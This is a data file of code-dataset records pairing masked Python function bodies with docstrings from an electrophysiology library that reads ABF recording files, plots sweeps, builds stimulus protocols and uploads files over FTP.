{"signature": "def forwardSlash(listOfFiles):", "body": "for i,fname in enumerate(listOfFiles):<EOL><INDENT>listOfFiles[i]=fname.replace(\"<STR_LIT:\\\\>\",\"<STR_LIT:/>\")<EOL><DEDENT>return listOfFiles<EOL>", "docstring": "convert silly C:\\\\names\\\\like\\\\this.txt to c:/names/like/this.txt", "id": "f11406:m36"}
{"signature": "def scanABFfolder(abfFolder):", "body": "assert os.path.isdir(abfFolder)<EOL>filesABF=forwardSlash(sorted(glob.glob(abfFolder+\"<STR_LIT>\")))<EOL>filesSWH=[]<EOL>if os.path.exists(abfFolder+\"<STR_LIT>\"):<EOL><INDENT>filesSWH=forwardSlash(sorted(glob.glob(abfFolder+\"<STR_LIT>\")))<EOL><DEDENT>groups=getABFgroups(filesABF)<EOL>return filesABF,filesSWH,groups<EOL>", "docstring": "scan an ABF directory and subdirectory. Try to do this just once.\nReturns ABF files, SWHLab files, and groups.", "id": "f11406:m37"}
{"signature": "def getParent(abfFname):", "body": "child=os.path.abspath(abfFname)<EOL>files=sorted(glob.glob(os.path.dirname(child)+\"<STR_LIT>\"))<EOL>parentID=abfFname <EOL>for fname in files:<EOL><INDENT>if fname.endswith(\"<STR_LIT>\") and fname.replace(\"<STR_LIT>\",\"<STR_LIT>\") in files:<EOL><INDENT>parentID=os.path.basename(fname).replace(\"<STR_LIT>\",\"<STR_LIT>\")<EOL><DEDENT>if os.path.basename(child) in fname:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return parentID<EOL>", "docstring": "given an ABF file name, return the ABF of its parent.", "id": "f11406:m38"}
{"signature": "def getParent2(abfFname,groups):", "body": "if \"<STR_LIT>\" in abfFname:<EOL><INDENT>abfFname=os.path.basename(abfFname).replace(\"<STR_LIT>\",\"<STR_LIT>\")<EOL><DEDENT>for parentID in groups.keys():<EOL><INDENT>if abfFname in groups[parentID]:<EOL><INDENT>return parentID<EOL><DEDENT><DEDENT>return abfFname<EOL>", "docstring": "given an ABF and the groups dict, return the ID of its parent.", "id": "f11406:m39"}
{"signature": "def getNotesForABF(abfFile):", "body": "parent=getParent(abfFile)<EOL>parent=os.path.basename(parent).replace(\"<STR_LIT>\",\"<STR_LIT>\")<EOL>expFile=os.path.dirname(abfFile)+\"<STR_LIT>\"<EOL>if not os.path.exists(expFile):<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>with open(expFile) as f:<EOL><INDENT>raw=f.readlines()<EOL><DEDENT>for line in raw:<EOL><INDENT>if line[<NUM_LIT:0>]=='<STR_LIT>':<EOL><INDENT>line=line[<NUM_LIT:1>:].strip()<EOL>if line.startswith(parent):<EOL><INDENT>while \"<STR_LIT>\" in line:<EOL><INDENT>line=line.replace(\"<STR_LIT>\",\"<STR_LIT:\\t>\")<EOL><DEDENT>line=line.replace(\"<STR_LIT:\\t>\",\"<STR_LIT:\\n>\")<EOL>return line<EOL><DEDENT><DEDENT><DEDENT>return \"<STR_LIT>\"%parent<EOL>", "docstring": "given an ABF, find the parent, return that line of experiments.txt", "id": "f11406:m40"}
{"signature": "def getABFgroups(files):", "body": "children=[]<EOL>groups={}<EOL>for fname in sorted(files):<EOL><INDENT>if fname.endswith(\"<STR_LIT>\"):<EOL><INDENT>if fname.replace(\"<STR_LIT>\",\"<STR_LIT>\") in files: <EOL><INDENT>if len(children):<EOL><INDENT>groups[children[<NUM_LIT:0>]]=children<EOL><DEDENT>children=[os.path.basename(fname)[:-<NUM_LIT:4>]]<EOL><DEDENT>else:<EOL><INDENT>children.append(os.path.basename(fname)[:-<NUM_LIT:4>])<EOL><DEDENT><DEDENT><DEDENT>groups[children[<NUM_LIT:0>]]=children<EOL>return groups<EOL>", "docstring": "given a list of ALL files (not just ABFs), return a dict[ID]=[ID,ID,ID].\nParents are determined if a .abf matches a .TIF.\nThis is made to assign children files to parent ABF IDs.", "id": "f11406:m41"}
{"signature": "def getIDfileDict(files):", "body": "d={}<EOL>orphans=[]<EOL>for fname in files:<EOL><INDENT>if fname.endswith(\"<STR_LIT>\"):<EOL><INDENT>d[os.path.basename(fname)[:-<NUM_LIT:4>]]=[]<EOL><DEDENT><DEDENT>for fname in files:<EOL><INDENT>if fname.endswith(\"<STR_LIT>\") or fname.endswith(\"<STR_LIT>\"):<EOL><INDENT>continue <EOL><DEDENT>if len(os.path.basename(fname).split(\"<STR_LIT:.>\")[<NUM_LIT:0>])>=<NUM_LIT:8>:<EOL><INDENT>ID = os.path.basename(fname)[:<NUM_LIT:8>] <EOL><DEDENT>else:<EOL><INDENT>ID = os.path.basename(fname).split(\"<STR_LIT:.>\")[<NUM_LIT:0>] <EOL><DEDENT>if ID in d.keys():<EOL><INDENT>d[ID]=d[ID]+[fname]<EOL><DEDENT>else:<EOL><INDENT>orphans.append(os.path.basename(fname))<EOL><DEDENT><DEDENT>if orphans:<EOL><INDENT>print(\"<STR_LIT>\"%len(orphans))<EOL><DEDENT>return d<EOL>", "docstring": "given a list of files, return a dict[ID]=[files].\nThis is made to assign children files to parent ABF IDs.", "id": "f11406:m42"}
{"signature": "def getIDsFromFiles(files):", "body": "if type(files) is str:<EOL><INDENT>files=glob.glob(files+\"<STR_LIT>\")<EOL><DEDENT>IDs=[]<EOL>for fname in files:<EOL><INDENT>if fname[-<NUM_LIT:4>:].lower()=='<STR_LIT>':<EOL><INDENT>ext=fname.split('<STR_LIT:.>')[-<NUM_LIT:1>]<EOL>IDs.append(os.path.basename(fname).replace('<STR_LIT:.>'+ext,'<STR_LIT>'))<EOL><DEDENT><DEDENT>return sorted(IDs)<EOL>", "docstring": "given a path or list of files, return ABF IDs.", "id": "f11406:m43"}
{"signature": "def inspectABF(abf=exampleABF,saveToo=False,justPlot=False):", "body": "pylab.close('<STR_LIT:all>')<EOL>print(\"<STR_LIT>\")<EOL>if type(abf) is str:<EOL><INDENT>abf=swhlab.ABF(abf)<EOL><DEDENT>swhlab.plot.new(abf,forceNewFigure=True)<EOL>if abf.sweepInterval*abf.sweeps<<NUM_LIT>*<NUM_LIT:5>: <EOL><INDENT>pylab.subplot(<NUM_LIT>)<EOL>pylab.title(\"<STR_LIT>\"%(abf.ID,abf.protoComment))<EOL>swhlab.plot.sweep(abf,'<STR_LIT:all>')<EOL>pylab.subplot(<NUM_LIT>)<EOL>swhlab.plot.sweep(abf,'<STR_LIT:all>',continuous=True)<EOL>swhlab.plot.comments(abf)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>swhlab.plot.sweep(abf,'<STR_LIT:all>',continuous=True,minutes=True)<EOL>swhlab.plot.comments(abf,minutes=True)<EOL>pylab.title(\"<STR_LIT>\"%(abf.ID,abf.protoComment))<EOL><DEDENT>swhlab.plot.annotate(abf)<EOL>if justPlot:<EOL><INDENT>return<EOL><DEDENT>if saveToo:<EOL><INDENT>path=os.path.split(abf.fname)[<NUM_LIT:0>]<EOL>basename=os.path.basename(abf.fname)<EOL>pylab.savefig(os.path.join(path,\"<STR_LIT:_>\"+basename.replace(\"<STR_LIT>\",\"<STR_LIT>\")))<EOL><DEDENT>pylab.show()<EOL>return<EOL>", "docstring": "May be given an ABF object or filename.", "id": "f11406:m44"}
{"signature": "def ftp_login(folder=None):", "body": "pwDir=os.path.realpath(__file__)<EOL>for i in range(<NUM_LIT:3>):<EOL><INDENT>pwDir=os.path.dirname(pwDir)<EOL><DEDENT>pwFile = os.path.join(pwDir,\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\"%pwFile)<EOL>try:<EOL><INDENT>with open(pwFile) as f:<EOL><INDENT>lines=f.readlines()<EOL><DEDENT>username=lines[<NUM_LIT:0>].strip()<EOL>password=lines[<NUM_LIT:1>].strip()<EOL>print(\"<STR_LIT>\")<EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>username=TK_askPassword(\"<STR_LIT>\",\"<STR_LIT>\")<EOL>password=TK_askPassword(\"<STR_LIT>\",\"<STR_LIT>\"%username)<EOL>if not username or not password:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT><DEDENT>print(\"<STR_LIT>\",username)<EOL>print(\"<STR_LIT>\",\"<STR_LIT:*>\"*(len(password)))<EOL>print(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>ftp = ftplib.FTP(\"<STR_LIT>\")<EOL>ftp.login(username, password)<EOL>if folder:<EOL><INDENT>ftp.cwd(folder)<EOL><DEDENT>return ftp<EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>", "docstring": "return an \"FTP\" object after logging in.", "id": "f11406:m47"}
{"signature": "def ftp_folder_match(ftp,localFolder,deleteStuff=True):", "body": "for fname in glob.glob(localFolder+\"<STR_LIT>\"):<EOL><INDENT>ftp_upload(ftp,fname)<EOL><DEDENT>return<EOL>", "docstring": "upload everything from localFolder into the current FTP folder.", "id": "f11406:m48"}
{"signature": "def version_upload(fname,username=\"<STR_LIT>\"):", "body": "print(\"<STR_LIT>\")<EOL>password=TK_askPassword(\"<STR_LIT>\",\"<STR_LIT>\"%username)<EOL>if not password:<EOL><INDENT>return<EOL><DEDENT>print(\"<STR_LIT>\",username)<EOL>print(\"<STR_LIT>\",\"<STR_LIT:*>\"*(len(password)))<EOL>print(\"<STR_LIT>\")<EOL>ftp = ftplib.FTP(\"<STR_LIT>\")<EOL>ftp.login(username, password)<EOL>print(\"<STR_LIT>\")<EOL>ftp.cwd(\"<STR_LIT>\") <EOL>print(\"<STR_LIT>\",os.path.basename(fname))<EOL>ftp.storbinary(\"<STR_LIT>\" + os.path.basename(fname), open(fname, \"<STR_LIT:rb>\"), <NUM_LIT>) <EOL>print(\"<STR_LIT>\")<EOL>ftp.quit()<EOL>", "docstring": "Only scott should do this. Upload new version to site.", "id": "f11406:m50"}
{"signature": "def TK_askPassword(title=\"<STR_LIT:input>\",msg=\"<STR_LIT>\"):", "body": "root = tkinter.Tk()<EOL>root.withdraw() <EOL>root.attributes(\"<STR_LIT>\", True) <EOL>root.lift() <EOL>value=tkinter.simpledialog.askstring(title,msg)<EOL>root.destroy()<EOL>return value<EOL>", "docstring": "use the GUI to ask for a string.", "id": "f11406:m51"}
{"signature": "def TK_message(title,msg):", "body": "root = tkinter.Tk()<EOL>root.withdraw() <EOL>root.attributes(\"<STR_LIT>\", True) <EOL>root.lift() <EOL>tkinter.messagebox.showwarning(title, msg)<EOL>root.destroy()<EOL>", "docstring": "use the GUI to pop up a message.", "id": "f11406:m52"}
{"signature": "def TK_ask(title,msg):", "body": "root = tkinter.Tk()<EOL>root.attributes(\"<STR_LIT>\", True) <EOL>root.withdraw() <EOL>result=tkinter.messagebox.askyesno(title,msg)<EOL>root.destroy()<EOL>return result<EOL>", "docstring": "use the GUI to ask YES or NO.", "id": "f11406:m53"}
{"signature": "def image_convert(fname,saveAs=True,showToo=False):", "body": "<EOL>im=scipy.ndimage.imread(fname) <EOL>im=np.array(im,dtype=float) <EOL>cutoffLow=np.percentile(im,<NUM_LIT>)<EOL>cutoffHigh=np.percentile(im,<NUM_LIT>)<EOL>im[np.where(im<cutoffLow)]=cutoffLow<EOL>im[np.where(im>cutoffHigh)]=cutoffHigh<EOL>im-=np.min(im) <EOL>im/=np.max(im) <EOL>im*=<NUM_LIT:255> <EOL>im = Image.fromarray(im)<EOL>msg=\"<STR_LIT>\"%os.path.basename(fname)<EOL>timestamp = datetime.datetime.fromtimestamp(os.path.getctime(fname))<EOL>msg+=\"<STR_LIT>\"%timestamp.strftime('<STR_LIT>')<EOL>d = ImageDraw.Draw(im)<EOL>fnt = ImageFont.truetype(\"<STR_LIT>\", <NUM_LIT:20>)<EOL>d.text((<NUM_LIT:6>,<NUM_LIT:6>),msg,font=fnt,fill=<NUM_LIT:0>)<EOL>d.text((<NUM_LIT:4>,<NUM_LIT:4>),msg,font=fnt,fill=<NUM_LIT:255>)<EOL>if showToo:<EOL><INDENT>im.show()<EOL><DEDENT>if saveAs is False:<EOL><INDENT>return<EOL><DEDENT>if saveAs is True:<EOL><INDENT>saveAs=fname+\"<STR_LIT>\"<EOL><DEDENT>im.convert('<STR_LIT>').save(saveAs)<EOL>", "docstring": "Convert weird TIF files into web-friendly versions.\nAuto contrast is applied (saturating lower and upper 0.1%).\n    make saveAs True to save as .TIF.png\n    make saveAs False and it won't save at all\n    make saveAs \"someFile.jpg\" to save it as a different path/format", "id": "f11406:m54"}
{"signature": "def __init__(self,ABFfname=None,debugLevel=<NUM_LIT:0>,saveInfo=False):", "body": "self.valid=False<EOL>if ABFfname is None:<EOL><INDENT>return <EOL><DEDENT>if not type(ABFfname) is str:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if not ABFfname.lower().endswith(\"<STR_LIT>\"):<EOL><INDENT>raise Exception('<STR_LIT>'%ABFfname)<EOL><DEDENT>ABFfname=os.path.abspath(ABFfname)<EOL>if not os.path.exists(ABFfname):<EOL><INDENT>raise Exception('<STR_LIT>'%ABFfname)<EOL><DEDENT>if saveInfo:<EOL><INDENT>print(\"<STR_LIT>\",os.path.basename(ABFfname))<EOL><DEDENT>self.fname = os.path.abspath(ABFfname)<EOL>self.ID = os.path.basename(self.fname).replace(\"<STR_LIT>\",\"<STR_LIT>\")<EOL>self.outpath = os.path.join(os.path.split(self.fname)[<NUM_LIT:0>],\"<STR_LIT>\")<EOL>self.outpre = os.path.abspath(self.outpath+\"<STR_LIT:/>\"+self.ID+\"<STR_LIT:_>\") <EOL>self.reader = neo.io.AxonIO(ABFfname)<EOL>self.valid=False<EOL>try:<EOL><INDENT>self.header = self.reader.read_header()<EOL>self.block = self.reader.read_block(lazy=False, cascade=True) <EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>self.valid=True<EOL>startDay=time.strptime(str(self.header[\"<STR_LIT>\"]), '<STR_LIT>')<EOL>self.timestamp=time.mktime(startDay)+self.header[\"<STR_LIT>\"]/<NUM_LIT> <EOL>self.units = self.header['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT>'].decode('<STR_LIT:utf8>') <EOL>self.unitsCommand = self.header['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT>'].decode('<STR_LIT:utf8>') <EOL>self.holding = self.header['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT>'] <EOL>self.rate = int(<NUM_LIT>/self.header['<STR_LIT>']['<STR_LIT>']) <EOL>self.timebase = self.header['<STR_LIT>']['<STR_LIT>'] <EOL>self.nADC = self.header['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] <EOL>self.sweeps = self.header['<STR_LIT>']<EOL>self.gapFree=(self.sweeps==<NUM_LIT:0>)<EOL>if self.gapFree:<EOL><INDENT>self.sweeps=<NUM_LIT:1><EOL><DEDENT>self.sweepSize = self.header['<STR_LIT>']['<STR_LIT>']/self.nADC<EOL>self.sweepLength = self.sweepSize/self.rate <EOL>self.sweepInterval = self.header['<STR_LIT>']['<STR_LIT>'] <EOL>if self.sweepInterval==<NUM_LIT:0>:<EOL><INDENT>self.sweepInterval=self.sweepLength<EOL><DEDENT>self.commentTags = self.block.segments[<NUM_LIT:0>].eventarrays[<NUM_LIT:0>].annotations['<STR_LIT>']<EOL>self.commentTags = [x.decode('<STR_LIT:utf8>') for x in self.commentTags]<EOL>self.commentTimes = np.array(self.block.segments[<NUM_LIT:0>].eventarrays[<NUM_LIT:0>].times)/self.nADC<EOL>self.commentTimes = self.commentTimes/<NUM_LIT:4> <EOL>self.commentSweeps = np.array(self.commentTimes/self.sweepInterval,dtype=int)<EOL>self.baseline=[None,None] <EOL>self.decimateMethod=None <EOL>self.decimateBy=<NUM_LIT:100> <EOL>self.offsetX = int(self.sweepSize/<NUM_LIT:64>) <EOL>self.offsetY = <NUM_LIT:0> <EOL>self.dataY = None <EOL>self.dataX = None <EOL>self.dataStart = None <EOL>self.currentSweep = None <EOL>self.channel = <NUM_LIT:0> <EOL>self.generate_colormap()<EOL>self.generate_protocol()<EOL>self.protoComment=cm.determineProtocol(self.fname)<EOL>if saveInfo:<EOL><INDENT>self.saveThing(self.abfinfo(returnDict=True),'<STR_LIT:info>',overwrite=False)<EOL><DEDENT>", "docstring": "SWHLab4 ABF class.\n        Basic usage:\n            1.) call this with an ABF filename\n            2.) select a sweet with setSweep()\n            3.) reference data by ABF.dataX and ABF.dataY", "id": "f11408:c0:m0"}
{"signature": "def abfinfo(self,printToo=False,returnDict=False):", "body": "info=\"<STR_LIT>\"<EOL>d={}<EOL>for thingName in sorted(dir(self)):<EOL><INDENT>if thingName in ['<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>']:<EOL><INDENT>continue<EOL><DEDENT>if \"<STR_LIT:_>\" in thingName:<EOL><INDENT>continue<EOL><DEDENT>thing=getattr(self,thingName)<EOL>if type(thing) is list and len(thing)><NUM_LIT:5>:<EOL><INDENT>continue<EOL><DEDENT>thingType=str(type(thing)).split(\"<STR_LIT:'>\")[<NUM_LIT:1>]<EOL>if \"<STR_LIT>\" in thingType or \"<STR_LIT>\" in thingType:<EOL><INDENT>continue<EOL><DEDENT>if thingName in [\"<STR_LIT>\",\"<STR_LIT>\"]:<EOL><INDENT>continue<EOL><DEDENT>info+=\"<STR_LIT>\"%(thingName,thingType,thing)<EOL>d[thingName]=thing<EOL><DEDENT>if printToo:<EOL><INDENT>print()<EOL>for line in info.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>if len(line)<<NUM_LIT:3>:<EOL><INDENT>continue<EOL><DEDENT>print(\"<STR_LIT:U+0020>\",line)<EOL><DEDENT>print()<EOL><DEDENT>if returnDict:<EOL><INDENT>return d<EOL><DEDENT>return info<EOL>", "docstring": "show basic info about ABF class variables.", "id": "f11408:c0:m1"}
{"signature": "def headerHTML(self,fname=None):", "body": "if fname is None:<EOL><INDENT>fname = self.fname.replace(\"<STR_LIT>\",\"<STR_LIT>\")<EOL><DEDENT>html=\"<STR_LIT>\"<EOL>html+=\"<STR_LIT>\"%self.ID<EOL>html+=self.abfinfo().replace(\"<STR_LIT:<>\",\"<STR_LIT>\").replace(\"<STR_LIT:>>\",\"<STR_LIT>\").replace(\"<STR_LIT:\\n>\",\"<STR_LIT>\")<EOL>html+=\"<STR_LIT>\"%self.ID<EOL>html+=pprint.pformat(self.header, indent=<NUM_LIT:1>)<EOL>html=html.replace(\"<STR_LIT:\\n>\",'<STR_LIT>').replace(\"<STR_LIT:U+0020>\",\"<STR_LIT>\")<EOL>html=html.replace(r\"<STR_LIT:\\x00>\",\"<STR_LIT>\")<EOL>html+=\"<STR_LIT>\"<EOL>print(\"<STR_LIT>\")<EOL>print(fname)<EOL>f=open(fname,'<STR_LIT:w>')<EOL>f.write(html)<EOL>f.close()<EOL>", "docstring": "read the ABF header and save it HTML formatted.", "id": "f11408:c0:m2"}
{"signature": "def generate_colormap(self,colormap=None,reverse=False):", "body": "if colormap is None:<EOL><INDENT>colormap = pylab.cm.Dark2<EOL><DEDENT>self.cm=colormap<EOL>self.colormap=[]<EOL>for i in range(self.sweeps): <EOL><INDENT>self.colormap.append(colormap(i/self.sweeps))<EOL><DEDENT>if reverse:<EOL><INDENT>self.colormap.reverse()<EOL><DEDENT>", "docstring": "use 1 colormap for the whole abf. You can change it!.", "id": "f11408:c0:m3"}
{"signature": "def setSweep(self,sweep=<NUM_LIT:0>,force=False):", "body": "if sweep is None or sweep is False:<EOL><INDENT>sweep=<NUM_LIT:0><EOL><DEDENT>if sweep<<NUM_LIT:0>:<EOL><INDENT>sweep=self.sweeps-sweep <EOL>if sweep<<NUM_LIT:0>: <EOL><INDENT>sweep=<NUM_LIT:0> <EOL><DEDENT><DEDENT>if sweep>(self.sweeps-<NUM_LIT:1>):<EOL><INDENT>print(\"<STR_LIT>\"%(sweep,self.sweeps-<NUM_LIT:1>))<EOL>sweep=self.sweeps-<NUM_LIT:1><EOL><DEDENT>sweep=int(sweep)<EOL>try:<EOL><INDENT>if self.currentSweep==sweep and force==False:<EOL><INDENT>return<EOL><DEDENT>self.currentSweep=sweep<EOL>self.dataY = self.block.segments[sweep].analogsignals[self.channel]<EOL>self.dataY = np.array(self.dataY)<EOL>B1,B2=self.baseline<EOL>if B1==None:<EOL><INDENT>B1=<NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>B1=B1*self.rate<EOL><DEDENT>if B2==None:<EOL><INDENT>B2==self.sweepSize<EOL><DEDENT>else:<EOL><INDENT>B2=B2*self.rate<EOL>self.dataY-=np.average(self.dataY[self.baseline[<NUM_LIT:0>]*self.rate:self.baseline[<NUM_LIT:1>]*self.rate])<EOL><DEDENT>self.sweep_genXs()<EOL>self.sweep_decimate()<EOL>self.generate_protocol(sweep=sweep)<EOL>self.dataStart = self.sweepInterval*self.currentSweep<EOL><DEDENT>except Exception:<EOL><INDENT>print(\"<STR_LIT:#>\"*<NUM_LIT>,\"<STR_LIT:\\n>\",traceback.format_exc(),'<STR_LIT:\\n>',\"<STR_LIT:#>\"*<NUM_LIT>)<EOL><DEDENT>return self.dataX,self.dataY<EOL>", "docstring": "Load X/Y data for a particular sweep.\n        determines if forced reload is needed, updates currentSweep,\n        regenerates dataX (if not None),decimates,returns X/Y.\n        Note that setSweep() takes 0.17ms to complete, so go for it!", "id": "f11408:c0:m4"}
{"signature": "def sweep_genXs(self):", "body": "if self.decimateMethod:<EOL><INDENT>self.dataX=np.arange(len(self.dataY))/self.rate<EOL>self.dataX*=self.decimateBy<EOL>return<EOL><DEDENT>if self.dataX is None or len(self.dataX)!=len(self.dataY):<EOL><INDENT>self.dataX=np.arange(len(self.dataY))/self.rate<EOL><DEDENT>", "docstring": "generate sweepX (in seconds) to match sweepY", "id": "f11408:c0:m5"}
{"signature": "def sweep_decimate(self):", "body": "if len(self.dataY)<self.decimateBy:<EOL><INDENT>return<EOL><DEDENT>if self.decimateMethod:<EOL><INDENT>points = int(len(self.dataY)/self.decimateBy)<EOL>self.dataY=self.dataY[:points*self.decimateBy]<EOL>self.dataY = np.reshape(self.dataY,(points,self.decimateBy))<EOL>if self.decimateMethod=='<STR_LIT>':<EOL><INDENT>self.dataY = np.average(self.dataY,<NUM_LIT:1>)<EOL><DEDENT>elif self.decimateMethod=='<STR_LIT>':<EOL><INDENT>self.dataY = np.max(self.dataY,<NUM_LIT:1>)<EOL><DEDENT>elif self.decimateMethod=='<STR_LIT>':<EOL><INDENT>self.dataY = np.min(self.dataY,<NUM_LIT:1>)<EOL><DEDENT>elif self.decimateMethod=='<STR_LIT>':<EOL><INDENT>self.dataY = self.dataY[:,<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\",self.decimateMethod)<EOL><DEDENT>self.dataX = np.arange(len(self.dataY))/self.rate*self.decimateBy<EOL><DEDENT>", "docstring": "decimate data using one of the following methods:\n    'avg','max','min','fast'\nThey're self explainatory. 'fast' just plucks the n'th data point.", "id": "f11408:c0:m6"}
{"signature": "def get_data_around(self,timePoints,thisSweep=False,padding=<NUM_LIT>,msDeriv=<NUM_LIT:0>):", "body": "if not np.array(timePoints).shape:<EOL><INDENT>timePoints=[float(timePoints)]<EOL><DEDENT>data=None<EOL>for timePoint in timePoints:<EOL><INDENT>if thisSweep:<EOL><INDENT>sweep=self.currentSweep<EOL><DEDENT>else:<EOL><INDENT>sweep=int(timePoint/self.sweepInterval)<EOL>timePoint=timePoint-sweep*self.sweepInterval<EOL><DEDENT>self.setSweep(sweep)<EOL>if msDeriv:<EOL><INDENT>dx=int(msDeriv*self.rate/<NUM_LIT:1000>) <EOL>newData=(self.dataY[dx:]-self.dataY[:-dx])*self.rate/<NUM_LIT:1000>/dx<EOL><DEDENT>else:<EOL><INDENT>newData=self.dataY<EOL><DEDENT>padPoints=int(padding*self.rate)<EOL>pad=np.empty(padPoints)*np.nan<EOL>Ic=timePoint*self.rate <EOL>newData=np.concatenate((pad,pad,newData,pad,pad))<EOL>Ic+=padPoints*<NUM_LIT:2><EOL>newData=newData[Ic-padPoints:Ic+padPoints]<EOL>newData=newData[:int(padPoints*<NUM_LIT:2>)] <EOL>if data is None:<EOL><INDENT>data=[newData]<EOL><DEDENT>else:<EOL><INDENT>data=np.vstack((data,newData))<EOL><DEDENT><DEDENT>return data<EOL>", "docstring": "return self.dataY around a time point. All units are seconds.\nif thisSweep==False, the time point is considered to be experiment time\n    and an appropriate sweep may be selected. i.e., with 10 second\n    sweeps and timePint=35, will select the 5s mark of the third sweep", "id": "f11408:c0:m7"}
{"signature": "def generate_protocol(self,sweep=None):", "body": "<EOL>if sweep is None:<EOL><INDENT>sweep = self.currentSweep<EOL><DEDENT>if sweep is None:<EOL><INDENT>sweep = <NUM_LIT:0><EOL><DEDENT>if not self.channel in self.header['<STR_LIT>'].keys():<EOL><INDENT>self.protoX=[<NUM_LIT:0>,self.sweepSize]<EOL>self.protoY=[self.holding,self.holding]<EOL>self.protoSeqX=self.protoX<EOL>self.protoSeqY=self.protoY<EOL>return<EOL><DEDENT>proto=self.header['<STR_LIT>'][self.channel]<EOL>self.protoX=[] <EOL>self.protoY=[] <EOL>self.protoX.append(<NUM_LIT:0>)<EOL>self.protoY.append(self.holding)<EOL>for step in proto:<EOL><INDENT>dX = proto[step]['<STR_LIT>']<EOL>Y = proto[step]['<STR_LIT>']+proto[step]['<STR_LIT>']*sweep<EOL>self.protoX.append(self.protoX[-<NUM_LIT:1>])<EOL>self.protoY.append(Y) <EOL>self.protoX.append(self.protoX[-<NUM_LIT:1>]+dX) <EOL>self.protoY.append(Y) <EOL><DEDENT>if self.header['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT>']: <EOL><INDENT>finalVal=self.protoY[-<NUM_LIT:1>] <EOL><DEDENT>else:<EOL><INDENT>finalVal=self.holding <EOL><DEDENT>self.protoX.append(self.protoX[-<NUM_LIT:1>])<EOL>self.protoY.append(finalVal)<EOL>self.protoX.append(self.sweepSize)<EOL>self.protoY.append(finalVal)<EOL>for i in range(<NUM_LIT:1>,len(self.protoX)-<NUM_LIT:1>): <EOL><INDENT>self.protoX[i]=self.protoX[i]+self.offsetX<EOL><DEDENT>self.protoSeqY=[self.protoY[<NUM_LIT:0>]]<EOL>self.protoSeqX=[self.protoX[<NUM_LIT:0>]]<EOL>for i in range(<NUM_LIT:1>,len(self.protoY)):<EOL><INDENT>if not self.protoY[i]==self.protoY[i-<NUM_LIT:1>]:<EOL><INDENT>self.protoSeqY.append(self.protoY[i])<EOL>self.protoSeqX.append(self.protoX[i])<EOL><DEDENT><DEDENT>if self.protoY[<NUM_LIT:0>]!=self.protoY[<NUM_LIT:1>]:<EOL><INDENT>self.protoY.insert(<NUM_LIT:1>,self.protoY[<NUM_LIT:0>])<EOL>self.protoX.insert(<NUM_LIT:1>,self.protoX[<NUM_LIT:1>])<EOL>self.protoY.insert(<NUM_LIT:1>,self.protoY[<NUM_LIT:0>])<EOL>self.protoX.insert(<NUM_LIT:1>,self.protoX[<NUM_LIT:0>]+self.offsetX/<NUM_LIT:2>)<EOL><DEDENT>self.protoSeqY.append(finalVal)<EOL>self.protoSeqX.append(self.sweepSize)<EOL>self.protoX=np.array(self.protoX)<EOL>self.protoY=np.array(self.protoY)<EOL>", "docstring": "Create (x,y) points necessary to graph protocol for the current sweep.", "id": "f11408:c0:m8"}
{"signature": "def clampValues(self,timePoint=<NUM_LIT:0>):", "body": "Cs=np.zeros(self.sweeps)<EOL>for i in range(self.sweeps):<EOL><INDENT>self.setSweep(i) <EOL>for j in range(len(self.protoSeqX)):<EOL><INDENT>if self.protoSeqX[j]<=timePoint*self.rate:<EOL><INDENT>Cs[i]=self.protoSeqY[j]<EOL><DEDENT><DEDENT><DEDENT>return Cs<EOL>", "docstring": "return an array of command values at a time point (in sec).\nUseful for things like generating I/V curves.", "id": "f11408:c0:m9"}
{"signature": "def guess_protocol(self):", "body": "clamp=\"<STR_LIT>\"<EOL>if self.units==\"<STR_LIT>\":<EOL><INDENT>clamp=\"<STR_LIT>\"<EOL><DEDENT>command=\"<STR_LIT>\"<EOL>if self.sweeps><NUM_LIT:1>:<EOL><INDENT>self.setSweep(<NUM_LIT:0>)<EOL>P0=str(self.protoX)+str(self.protoY)<EOL>self.setSweep(<NUM_LIT:1>)<EOL>P1=str(self.protoX)+str(self.protoY)<EOL>if not P0==P1:<EOL><INDENT>command=\"<STR_LIT>\"<EOL><DEDENT><DEDENT>tags=\"<STR_LIT>\"<EOL>if len(self.commentSweeps):<EOL><INDENT>tags=\"<STR_LIT>\"<EOL><DEDENT>ch=\"<STR_LIT>\"<EOL>if self.nADC><NUM_LIT:1>:<EOL><INDENT>ch=\"<STR_LIT>\"<EOL><DEDENT>guess=\"<STR_LIT:->\".join([clamp,command,tags,ch])<EOL>return guess<EOL>", "docstring": "This just generates a string to define the nature of the ABF.\nThe ultimate goal is to use info about the abf to guess what to do with it.\n    [vc/ic]-[steps/fixed]-[notag/drugs]-[2ch/1ch]\n    This represents 2^4 (18) combinations, but is easily expanded.", "id": "f11408:c0:m10"}
